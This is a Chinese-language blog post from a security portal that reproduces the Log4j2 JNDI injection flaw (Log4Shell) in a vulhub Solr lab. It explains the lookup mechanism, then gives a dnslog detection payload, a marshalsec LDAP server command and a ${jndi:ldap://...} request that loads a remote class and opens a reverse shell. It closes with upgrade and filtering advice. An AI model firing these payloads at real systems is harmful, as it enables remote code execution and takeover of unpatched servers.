freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Log4J2漏洞原理详解及复现
2023-05-06 00:23:11
所属地 北京

1 环境搭建

基于vulhub环境搭建

# docker-compose up -d

访问8983端口判断是否成功
image.png

2 漏洞原理

log4j2:apache log4j2为开源日志库,用于记录java日志

log4j2提供函数logger.info、logger.error等函数支持{}传参,如logger.info("{}", input),会将input的内容解析并显示(类似SSTI),当传入input为${java:version}时,返回的并不是字符串本身,而是java版本

基于上述机制,当input为用户可控,且未进行任何无害化处理时,可能造成jndi注入漏洞,具体而言,当传入${jndi:rmi://}或${jndi:ldap://}时,可能会远程加载恶意类,调用其中代码并执行

jndi注入讲解可见fastjson复现篇

由于fastjson篇使用了rmi,本篇使用ldap

3 漏洞复现

0x01 漏洞探测

漏洞点在/admin/cores下,可以传递参数action

首先进行漏洞探测,payload为${jndi:ldap://${java:version}.xxx.dnslog.cn},可以看到,正确回显java版本,证明漏洞存在,且可利用
image.png

0x02 jndi远程加载部署

反弹shell代码见fastjson篇

使用marshalsec开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://ip/#ReverseShell' 9999

kali侦听反弹shell端口

发送payload为/admin/cores?action=${jndi:ldap://ip:9999/ReverseShell},LDAP和http请求分别如下,成功反弹shell
image.png
image.png
image.png

4 防御

  1. 升级log4j2版本(2.15.0-rc1以上)

  2. 过滤jndi、rmi、ldap等敏感字符串

# Jndi注入 # JNDI # log4j2 # Log4j2的JNDI注入漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录